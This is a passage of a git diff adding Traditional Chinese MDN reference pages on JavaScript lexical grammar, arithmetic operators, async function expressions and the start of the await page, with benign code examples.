+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/switch", "case")}}</li>
+ <li>{{jsxref("Statements/try...catch", "catch")}}</li>
+ <li>{{jsxref("Statements/class", "class")}}</li>
+ <li>{{jsxref("Statements/const", "const")}}</li>
+ <li>{{jsxref("Statements/continue", "continue")}}</li>
+ <li>{{jsxref("Statements/debugger", "debugger")}}</li>
+ <li>{{jsxref("Statements/default", "default")}}</li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Statements/do...while", "do")}}</li>
+ <li>{{jsxref("Statements/if...else", "else")}}</li>
+ <li>{{jsxref("Statements/export", "export")}}</li>
+ <li>{{jsxref("Statements/class", "extends")}}</li>
+ <li>{{jsxref("Statements/try...catch", "finally")}}</li>
+ <li>{{jsxref("Statements/for", "for")}}</li>
+ <li>{{jsxref("Statements/function", "function")}}</li>
+ <li>{{jsxref("Statements/if...else", "if")}}</li>
+ <li>{{jsxref("Statements/import", "import")}}</li>
+ <li>{{jsxref("Operators/in", "in")}}</li>
+ <li>{{jsxref("Operators/instanceof", "instanceof")}}</li>
+ <li>{{jsxref("Operators/new", "new")}}</li>
+ <li>{{jsxref("Statements/return", "return")}}</li>
+ <li>{{jsxref("Operators/super", "super")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+ <li>{{jsxref("Operators/this", "this")}}</li>
+ <li>{{jsxref("Statements/throw", "throw")}}</li>
+ <li>{{jsxref("Statements/try...catch", "try")}}</li>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+ <li>{{jsxref("Statements/var", "var")}}</li>
+ <li>{{jsxref("Operators/void", "void")}}</li>
+ <li>{{jsxref("Statements/while", "while")}}</li>
+ <li>{{jsxref("Statements/with", "with")}}</li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+</ul>
+
+<h3 id="未來保留關鍵字">未來保留關鍵字</h3>
+
+<p>根據 ECMAScript 的規格，以下的關鍵字被保留供未來使用。他們目前沒有功用但未來可能有，所以不能將他們用作識別字。</p>
+
+<p>以下關鍵字將永遠被保留：</p>
+
+<ul>
+ <li><code>enum</code></li>
+</ul>
+
+<p>以下關鍵字只有在嚴格模式底下才被保留：</p>
+
+<ul class="threecolumns">
+ <li><code>implements</code></li>
+ <li><code>interface</code></li>
+ <li>{{jsxref("Statements/let", "let")}}</li>
+ <li><code>package</code></li>
+ <li><code>private</code></li>
+ <li><code>protected</code></li>
+ <li><code>public</code></li>
+ <li><code>static</code></li>
+</ul>
+
+<p>以下關鍵字只有在出現在模組程式碼中時才被保留：</p>
+
+<ul>
+ <li><code>await</code></li>
+</ul>
+
+<h4 id="舊標準中的未來保留關鍵字">舊標準中的未來保留關鍵字</h4>
+
+<p>以下關鍵字在舊的 ECMAScript 規格中 (ECMAScript 1 到 3) 為未來保留關鍵：</p>
+
+<ul class="threecolumns">
+ <li><code>abstract</code></li>
+ <li><code>boolean</code></li>
+ <li><code>byte</code></li>
+ <li><code>char</code></li>
+ <li><code>double</code></li>
+ <li><code>final</code></li>
+ <li><code>float</code></li>
+ <li><code>goto</code></li>
+ <li><code>int</code></li>
+ <li><code>long</code></li>
+ <li><code>native</code></li>
+ <li><code>short</code></li>
+ <li><code>synchronized</code></li>
+ <li><code>throws</code></li>
+ <li><code>transient</code></li>
+ <li><code>volatile</code></li>
+</ul>
+
+<p>此外，如 <code>null</code>, <code>true</code> 與 <code>false</code> 等實體語法 (literal) 在 ECMAScript 中不能被用作識別字。</p>
+
+<h3 id="保留字的使用">保留字的使用</h3>
+
+<p>只有當用在識別字的時候保留關鍵字才會被保留 (相對於 <code>IdentifierNames</code>) 。如 <a href="http://es5.github.com/#A.1">es5.github.com/#A.1</a> 所述，以下保留關鍵字的用法都屬於<code>IdentifierNames</code> 因此是合法的。</p>
+
+<pre class="brush: js">a.import
+a['import']
+a = { import: 'test' }.
+</pre>
+
+<p>反之，以下用法不合法因為用在識別字上，識別字屬於 <code>IdentifierName</code> 但不包含保留字。識別字用在 <code>FunctionDeclaration, FunctionExpression, VariableDeclaration</code> 等等?。而 <code>IdentifierName</code> 被用在 <code>MemberExpression, CallExpression</code> 等等。</p>
+
+<pre class="brush: js">function import() {} // 不合法.</pre>
+
+<h2 id="實體語法">實體語法</h2>
+
+<h3 id="Null">Null</h3>
+
+<p>更多說明請參閱 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a> 。</p>
+
+<pre class="brush: js">null</pre>
+
+<h3 id="布林值">布林值</h3>
+
+<p>更多說明請參閱 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean"><code>Boolean</code></a> 。</p>
+
+<pre class="brush: js">true
+false</pre>
+
+<h3 id="數值">數值</h3>
+
+<h4 id="十進制">十進制</h4>
+
+<pre class="brush: js">1234567890
+42
+
+// 謹慎使用前導零
+0888 // 888 被解析成十進制
+0777 // 被解析成八進制, 十進制值為 511
+</pre>
+
+<p>數值的實體語法可以可以以零 (<code>0</code>) 為首再街上其他十進制數字。然而一但零後面的的數字都小於8時，這個數值會被解讀成八進制數字，這個行為不會丟出例外，請參閱 {{bug(957513)}}。也請參閱 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt#Octal_interpretations_with_no_radix"><code>parseInt()</code></a>。</p>
+
+<h4 id="二進制">二進制</h4>
+
+<p>二進制數字的語法為一個起首零加上小寫或大小的拉丁字元"B"  (<code>0b</code> 或 <code>0B</code>)。因為這個語法是在 ECMAScript 2015 才新增的，請參閱底下的瀏覽器相容表。如果 <code>0b</code> 之後的數字不是0或1，"0b之後找不到二進制數字"的 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a></code> 會被丟出。</p>
+
+<pre class="brush: js">var FLT_SIGNBIT  = 0b10000000000000000000000000000000; // 2147483648
+var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040
+var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607</pre>
+
+<h4 id="八進制">八進制</h4>
+
+<p>八進制數字的語法為一個起首零加上小寫或大小的拉丁字元"O"  (<code>0o</code> 或 <code>0B</code>)。因為這個語法是在 ECMAScript 2015 才新增的，請參閱底下的瀏覽器相容表。如果 <code>0o</code> 之後的數字不是 (01234567) 其中之一，"0o之後找不到八進制數字"的 SyntaxError 會被丟出。</p>
+
+<pre class="brush: js">var n = 0O755; // 493
+var m = 0o644; // 420
+
+// 也可以省略'o/O'只寫一個前導0 (參閱上面十進位的提醒)
+0755
+0644
+</pre>
+
+<h4 id="十六進制">十六進制</h4>
+
+<p>十六進制數字的語法為一個起首零加上小寫或大小的拉丁字元"X"  (<code>0x</code> 或 <code>0X</code>)。如果 <code>0x</code> 之後的數字不是 (0123456789ABCDEF) 其中之一，"識別字緊接在數值實體語法後"的 SyntaxError 會被丟出。</p>
+
+<pre class="brush: js">0xFFFFFFFFFFFFFFFFF // 295147905179352830000
+0x123456789ABCDEF   // 81985529216486900
+0XA                 // 10
+</pre>
+
+<h3 id="物件">物件</h3>
+
+<p>更多說明請參閱 {{jsxref("Object")}} 及 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">Object initializer</a>。</p>
+
+<pre class="brush: js">var o = { a: 'foo', b: 'bar', c: 42 };
+
+// 簡短表示法 (ES2015 新增)
+var a = 'foo', b = 'bar', c = 42;
+var o = {a, b, c};
+
+// ES2015 以前必須這樣寫
+var o = { a: a, b: b, c: c };
+</pre>
+
+<h3 id="陣列">陣列</h3>
+
+<p>更多說明請參閱 {{jsxref("Array")}} 。</p>
+
+<pre class="brush: js">[1954, 1974, 1990, 2014]</pre>
+
+<h3 id="字串">字串</h3>
+
+<pre class="brush: js">'foo'
+"bar"</pre>
+
+<h4 id="十六進制跳脫序列">十六進制跳脫序列</h4>
+
+<pre class="brush: js">'\xA9' // "©"
+</pre>
+
+<h4 id="Unicode_跳脫序列">Unicode 跳脫序列</h4>
+
+<p>一個Unicode跳脫序列由 <code>\u</code> 接上4個十六進制的數值所組成。每一個十六進制的數值表示一個UTF-16編碼的2位元組字元。對於編碼位置在0~FFFF之間的字元，其Unicode表示法與編碼位置相同。而更高的編碼位置需要兩個跳脫序列來表示，又稱為代理對(surrogate pair)，代理對表示的數值與編碼位置不同 (<a href="https://en.wikipedia.org/wiki/UTF-16">代理對計算規則wiki</a>)。</p>
+
+<pre class="brush: js">'\u00A9' // "©"
+</pre>
+
+<h4 id="Unicode_跳脫編碼位置">Unicode 跳脫編碼位置</h4>
+
+<p>ECMAScript 2015 新增。使用Unicode跳脫編碼位置表示法，即可使用與編碼位置完全相同的表示法 (最高到 <code>0x10FFFF</code>) 而不受編碼位置高於FFFF需用代理對表示的限制。</p>
+
+<p>更多說明請參閱 {{jsxref("String.fromCodePoint()")}} 或 {{jsxref("String.prototype.codePointAt()")}}。</p>
+
+<pre class="brush: js">'\u{2F804}'
+
+// 等價於代理對表示法
+'\uD87E\uDC04'</pre>
+
+<h3 id="正規表達式">正規表達式</h3>
+
+<p>更多說明請參閱  <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp"><code>RegExp</code></a> 。</p>
+
+<pre class="brush: js">/ab+c/g
+
+// 一個空的正規表示法。
+// 兩個斜線之間不得為空，否則將被視為單行註解。
+/(?:)/</pre>
+
+<h3 id="範本字串">範本字串</h3>
+
+<p>更多說明請參閱  <a href="/en-US/docs/Web/JavaScript/Reference/template_strings">template strings</a> 。</p>
+
+<pre class="brush: js">`string text`
+
+`string text line 1
+ string text line 2`
+
+`string text ${expression} string text`
+
+tag `string text ${expression} string text`</pre>
+
+<h2 id="自動插入分號">自動插入分號</h2>
+
+<p>否些 <a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript statements</a> 必須以分號作結，因此會受到自動插入分號 (ASI) 規則影響。</p>
+
+<ul>
+ <li>空運算式</li>
+ <li><code>let</code>, <code>const</code>, 變數宣告</li>
+ <li><code>import</code>, <code>export</code>, 模組宣告</li>
+ <li>運算式</li>
+ <li><code>debugger</code></li>
+ <li><code>continue</code>, <code>break</code>, <code>throw</code></li>
+ <li><code>return</code></li>
+</ul>
+
+<p>ECMAScript 規格闡明<a href="https://tc39.github.io/ecma262/#sec-rules-of-automatic-semicolon-insertion"> 自動插入分號的三個規則</a>。</p>
+
+<p>1.  如果 <a href="#Line_terminators">行終止字元</a> 或 "}" 出現在不符文法的地方，一個分號會被自動插入在其之前。</p>
+
+<pre class="brush: js">{ 1 2 } 3
+
+// 會被 ASI 轉換成
+
+{ 1 2 ;} 3;</pre>
+
+<p>2.  當一個token輸入流到了結尾而解析器仍然無法將其解析為一個完整的程式，一個分號會被自動插入於其後。</p>
+
+<p>在這裡 <code>++</code> 並不會被當作作用於變數<code>b</code>的 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment">後綴運算元</a>，因為行終止字元出現在<code>b</code> 和 <code>++</code>之間。</p>
+
+<pre class="brush: js">a = b
+++c
+
+// 會被 ASI 轉換成
+
+a = b;
+++c;
+</pre>
+
+<p>3. 當一個運算式中出現 restricted productions 後面接著一個行終止元，一個分號會被自動插入於行終止元之前。以下這些陳述式有"不允許出現行終止元"規則：</p>
+
+<ul>
+ <li>後綴運算式 (<code>++</code> and <code>--</code>)</li>
+ <li><code>continue</code></li>
+ <li><code>break</code></li>
+ <li><code>return</code></li>
+ <li><code>yield</code>, <code>yield*</code></li>
+ <li><code>module</code></li>
+</ul>
+
+<pre class="brush: js">return
+a + b
+
+// 會被 ASI 轉換成
+
+return;
+a + b;
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2("ES1")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-7', 'Lexical Conventions')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-ecmascript-language-lexical-grammar', 'Lexical Grammar')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Added: Binary and Octal Numeric literals, Unicode code point escapes, Templates</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-language-lexical-grammar', 'Lexical Grammar')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.grammar")}}</p>
+
+<p> </p>
+
+<h2 id="參閱">參閱</h2>
+
+<ul>
+ <li><a href="http://whereswalden.com/2013/08/12/micro-feature-from-es6-now-in-firefox-aurora-and-nightly-binary-and-octal-numbers/">Jeff Walden: Binary and octal numbers</a></li>
+ <li><a href="http://mathiasbynens.be/notes/javascript-escapes">Mathias Bynens: JavaScript character escape sequences</a></li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("String")}}</li>
+</ul>
+</div>
diff --git a/files/zh-tw/web/javascript/reference/operators/arithmetic_operators/index.html b/files/zh-tw/web/javascript/reference/operators/arithmetic_operators/index.html
new file mode 100644
index 0000000000..a91f586c80
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/operators/arithmetic_operators/index.html
@@ -0,0 +1,308 @@
+---
+title: 算術運算子
+slug: Web/JavaScript/Reference/Operators/Arithmetic_Operators
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>算術運算子接受數值（資料型態為字串或變數都可）作為其運算子並回傳單個數值。 標準算術運算符號有加號（+），減號（ - ），乘（*）和除（/）。</strong></p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-arithmetic.html")}}</div>
+
+
+
+<h2 id="Addition_()"><a id="加法" name="加法">Addition (+)</a></h2>
+
+<p>加法運算子生成數字(運算元)的總和或字串串接。</p>
+
+<h3 id="Syntax">Syntax</h3>
+
+<pre class="syntaxbox"><strong>Operator:</strong> x + y
+</pre>
+
+<h3 id="Examples">Examples</h3>
+
+<pre class="brush: js">// Number + Number -&gt; addition
+1 + 2 // 3
+
+// Boolean + Number -&gt; addition
+true + 1 // 2
+
+// Boolean + Boolean -&gt; addition
+false + false // 0
+
+// Number + String -&gt; concatenation
+5 + 'foo' // "5foo"
+
+// String + Boolean -&gt; concatenation
+'foo' + false // "foofalse"
+
+// String + String -&gt; concatenation
+'foo' + 'bar' // "foobar"
+</pre>
+
+<h2 id="Subtraction_(-)"><a id="減法" name="減法">Subtraction (-)</a></h2>
+
+<p>減法運算子能算出兩個運算元間的差異。</p>
+
+<h3 id="Syntax_2">Syntax</h3>
+
+<pre class="syntaxbox"><strong>Operator:</strong> x - y
+</pre>
+
+<h3 id="Examples_2">Examples</h3>
+
+<pre class="brush: js">5 - 3 // 2
+3 - 5 // -2
+'foo' - 3 // NaN</pre>
+
+<h2 id="Division_()"><a id="除法" name="除法">Division (/)</a></h2>
+
+<p>The division operator produces the quotient of its operands where the left operand is the dividend and the right operand is the divisor.</p>
+
+<h3 id="Syntax_3">Syntax</h3>
+
+<pre class="syntaxbox"><strong>Operator:</strong> x / y
+</pre>
+
+<h3 id="Examples_3">Examples</h3>
+
+<pre class="brush: js">1 / 2      // returns 0.5 in JavaScript
+1 / 2      // returns 0 in Java
+// (neither number is explicitly a floating point number)
+
+1.0 / 2.0  // returns 0.5 in both JavaScript and Java
+
+2.0 / 0    // returns Infinity in JavaScript
+2.0 / 0.0  // returns Infinity too
+2.0 / -0.0 // returns -Infinity in JavaScript</pre>
+
+<h2 id="Multiplication_(*)"><a id="乘法" name="乘法">Multiplication (*)</a></h2>
+
+<p>The multiplication operator produces the product of the operands.</p>
+
+<h3 id="Syntax_4">Syntax</h3>
+
+<pre class="syntaxbox"><strong>Operator:</strong> x * y
+</pre>
+
+<h3 id="Examples_4">Examples</h3>
+
+<pre class="brush: js">2 * 2 // 4
+-2 * 2 // -4
+Infinity * 0 // NaN
+Infinity * Infinity // Infinity
+'foo' * 2 // NaN
+</pre>
+
+<h2 id="Remainder_()"><a id="餘數運算" name="餘數運算">Remainder (%)</a></h2>
+
+<p>The remainder operator returns the remainder left over when one operand is divided by a second operand. It always takes the sign of the dividend.</p>
+
+<h3 id="Syntax_5">Syntax</h3>
+
+<pre class="syntaxbox"><strong>Operator:</strong> var1 % var2
+</pre>
+
+<h3 id="Examples_5">Examples</h3>
+
+<pre class="brush: js">12 % 5 // 2
+-1 % 2 // -1
+1 % -2 // 1
+NaN % 2 // NaN
+1 % 2 // 1
+2 % 3 // 2
+-4 % 2 // -0
+5.5 % 2 // 1.5
+</pre>
+
+<h2 id="Exponentiation_(**)"><a id="指數運算" name="指數運算">Exponentiation (**)</a></h2>
+
+<p>The exponentiation operator returns the result of raising first operand to the power second operand. that is, <code>var1</code><sup><code>var2</code></sup>, in the preceding statement, where <code>var1</code> and <code>var2</code> are variables. Exponentiation operator is right associative. <code>a ** b ** c</code> is equal to <code>a ** (b ** c)</code>.</p>
+
+<h3 id="Syntax_6">Syntax</h3>
+
+<pre class="syntaxbox"><strong>Operator:</strong> var1 ** var2
+</pre>
+
+<h3 id="Notes">Notes</h3>
+
+<p>In most languages like PHP and Python and others that have an exponentiation operator (**), the exponentiation operator is defined to have a higher precedence than unary operators such as unary + and unary -, but there are a few exceptions. For example, in Bash the ** operator is defined to have a lower precedence than unary operators. In JavaScript, it is impossible to write an ambiguous exponentiation expression, i.e. you cannot put a unary operator (<code>+/-/~/!/delete/void/typeof</code>) immediately before the base number.</p>
+
+<pre class="brush: js">-2 ** 2;
+// 4 in Bash, -4 in other languages.
+// This is invalid in JavaScript, as the operation is ambiguous.
+
+
+-(2 ** 2);
+// -4 in JavaScript and the author's intention is unambiguous.
+</pre>
+
+<h3 id="Examples_6">Examples</h3>
+
+<pre class="brush: js">2 ** 3 // 8
+3 ** 2 // 9
+3 ** 2.5 // 15.588457268119896
+10 ** -1 // 0.1
+NaN ** 2 // NaN
+
+2 ** 3 ** 2 // 512
+2 ** (3 ** 2) // 512
+(2 ** 3) ** 2 // 64
+</pre>
+
+<p>To invert the sign of the result of an exponentiation expression:</p>
+
+<pre class="brush: js">-(2 ** 2) // -4
+</pre>
+
+<p>To force the base of an exponentiation expression to be a negative number:</p>
+
+<pre class="brush: js">(-2) ** 2 // 4
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> JavaScript also has <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR">a bitwise operator ^ (logical XOR)</a>. <code>**</code> and <code>^</code> are different (for example : <code>2 ** 3 === 8</code> when <code>2 ^ 3 === 1</code>.)</p>
+</div>
+
+<h2 id="Increment_()"><a id="遞增運算" name="遞增運算">Increment (++)</a></h2>
+
+<p>The increment operator increments (adds one to) its operand and returns a value.</p>
+
+<ul>
+ <li>If used postfix, with operator after operand (for example, x++), then it returns the value before incrementing.</li>
+ <li>If used prefix with operator before operand (for example, ++x), then it returns the value after incrementing.</li>
+</ul>
+
+<h3 id="Syntax_7">Syntax</h3>
+
+<pre class="syntaxbox"><strong>Operator:</strong> x++ or ++x
+</pre>
+
+<h3 id="Examples_7">Examples</h3>
+
+<pre class="brush: js">// Postfix
+var x = 3;
+y = x++; // y = 3, x = 4
+
+// Prefix
+var a = 2;
+b = ++a; // a = 3, b = 3
+</pre>
+
+<h2 id="Decrement_(--)"><a id="遞減運算" name="遞減運算">Decrement (--)</a></h2>
+
+<p>The decrement operator decrements (subtracts one from) its operand and returns a value.</p>
+
+<ul>
+ <li>If used postfix (for example, x--), then it returns the value before decrementing.</li>
+ <li>If used prefix (for example, --x), then it returns the value after decrementing.</li>
+</ul>
+
+<h3 id="Syntax_8">Syntax</h3>
+
+<pre class="syntaxbox"><strong>Operator:</strong> x-- or --x
+</pre>
+
+<h3 id="Examples_8">Examples</h3>
+
+<pre class="brush: js">// Postfix
+var x = 3;
+y = x--; // y = 3, x = 2
+
+// Prefix
+var a = 2;
+b = --a; // a = 1, b = 1
+</pre>
+
+<h2 id="Unary_negation_(-)"><a name="Unary_negation">Unary negation (-)</a></h2>
+
+<p>The unary negation operator precedes its operand and negates it.</p>
+
+<h3 id="Syntax_9">Syntax</h3>
+
+<pre class="syntaxbox"><strong>Operator:</strong> -x
+</pre>
+
+<h3 id="Examples_9">Examples</h3>
+
+<pre class="brush: js">var x = 3;
+y = -x; // y = -3, x = 3
+
+// Unary negation operator can convert non-numbers into a number
+var x = "4";
+y = -x; // y = -4
+</pre>
+
+<h2 id="Unary_plus_()"><a name="Unary_plus">Unary plus</a> (+)</h2>
+
+<p>The unary plus operator precedes its operand and evaluates to its operand but attempts to convert it into a number, if it isn't already. Although unary negation (-) also can convert non-numbers, unary plus is the fastest and preferred way of converting something into a number, because it does not perform any other operations on the number. It can convert string representations of integers and floats, as well as the non-string values <code>true</code>, <code>false</code>, and <code>null</code>. Integers in both decimal and hexadecimal ("0x"-prefixed) formats are supported. Negative numbers are supported (though not for hex). If it cannot parse a particular value, it will evaluate to {{jsxref("NaN")}}.</p>
+
+<h3 id="Syntax_10">Syntax</h3>
+
+<pre class="syntaxbox"><strong>Operator:</strong> +x
+</pre>
+
+<h3 id="Examples_10">Examples</h3>
+
+<pre class="brush: js">+3     // 3
++'3'   // 3
++true  // 1
++false // 0
++null  // 0
++function(val){ return val } // NaN
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.3')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.6">Additive operators</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.5">Multiplicative operators</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.3">Postfix expressions</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4">Unary operators</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-postfix-expressions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-additive-operators">Additive operators</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-multiplicative-operators">Multiplicative operators</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-postfix-expressions">Postfix expressions</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-unary-operators">Unary operators</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#sec-postfix-expressions')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td>Added <a href="https://github.com/rwaldron/exponentiation-operator">Exponentiation operator</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2017', '#sec-postfix-expressions')}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-additive-operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.operators.arithmetic")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">Assignment operators</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/operators/async_function/index.html b/files/zh-tw/web/javascript/reference/operators/async_function/index.html
new file mode 100644
index 0000000000..b0a761e890
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/operators/async_function/index.html
@@ -0,0 +1,111 @@
+---
+title: async function expression
+slug: Web/JavaScript/Reference/Operators/async_function
+translation_of: Web/JavaScript/Reference/Operators/async_function
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>關鍵字 <strong><code>async function</code></strong> 可以用來定義陳述式中的 <code>async</code> 函式。</p>
+
+<p>你也可以使用 <a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Statements/async_function" title="The async function keyword can be used to define async functions inside expressions.">async function statement</a> 來定義一個非同步函式</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">async function [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) {
+   <em>statements</em>
+}</pre>
+
+<p>As of ES2015, you can also use <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a>.</p>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>The function name. Can be omitted, in which case the function is <em>anonymous</em>. The name is only local to the function body.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>The name of an argument to be passed to the function.</dd>
+ <dt><code>statements</code></dt>
+ <dd>The statements which comprise the body of the function.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>An <code>async function</code> expression is very similar to, and has almost the same syntax as, an {{jsxref('Statements/async_function', 'async function statement')}}. The main difference between an async <code>function</code> expression and an async <code>function</code> statement is the <em>function name,</em> which can be omitted in <code>async function</code> expressions to create <em>anonymous</em> functions. An <code>async function</code> expression can be used as an {{Glossary("IIFE")}} (Immediately Invoked Function Expression) which runs as soon as it is defined. See also the chapter about <a href="/en-US/docs/Web/JavaScript/Reference/Functions">functions</a> for more information.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Simple_example">Simple example</h3>
+
+<pre class="brush: js">function resolveAfter2Seconds(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+};
+
+
+var add = async function(x) { // async function expression assigned to a variable
+  var a = await resolveAfter2Seconds(20);
+  var b = await resolveAfter2Seconds(30);
+  return x + a + b;
+};
+
+add(10).then(v =&gt; {
+  console.log(v);  // prints 60 after 4 seconds.
+});
+
+
+(async function(x) { // async function expression used as an IIFE
+  var p_a = resolveAfter2Seconds(20);
+  var p_b = resolveAfter2Seconds(30);
+  return x + await p_a + await p_b;
+})(10).then(v =&gt; {
+  console.log(v);  // prints 60 after 2 seconds.
+});
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2018', '#sec-async-function-definitions', 'async function')}}</td>
+   <td>{{Spec2('ES2018')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2017', '#sec-async-function-definitions', 'async function')}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.operators.async_function_expression")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/async_function", "async function")}}</li>
+ <li>{{jsxref("AsyncFunction")}} object</li>
+ <li>{{jsxref("Operators/await", "await")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/operators/await/index.html b/files/zh-tw/web/javascript/reference/operators/await/index.html
new file mode 100644
index 0000000000..a8bda40412
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/operators/await/index.html
@@ -0,0 +1,152 @@
+---
+title: await
+slug: Web/JavaScript/Reference/Operators/await
+tags:
+  - Experimental
+  - JavaScript
+  - 運算子
+translation_of: Web/JavaScript/Reference/Operators/await
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div>await運算子可被用來等待 {{jsxref("Promise")}}，只能在 {{jsxref("Statements/async_function", "async function")}}內使用。</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">[<em>rv</em>] = await <em>expression</em>;</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>等待解析的 {{jsxref("Promise")}} 物件或任何值。</dd>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace">rv = 回傳值</font></dt>
+ <dd>
+ <p>回傳 Promise 物件的 resolved 值，或當該值不是 Promise 物件時，回傳該值本身。</p>
+ </dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p>此 await 表示法會暫停 async 函式執行，等待 Promise 物件的解析，並在 promise 物件的值被 resolve 時回復 async 函式的執行。await 接著回傳這個被 resolve 的值。如果回傳值不是一個 Promise 物件，則會被轉換為 resolved 狀態的 Promise 物件。</p>
+
+<p>如果 Promise 物件被 rejected，則 await 會丟出 rejected 的值。</p>
+
+<h2 id="範例">範例</h2>
+
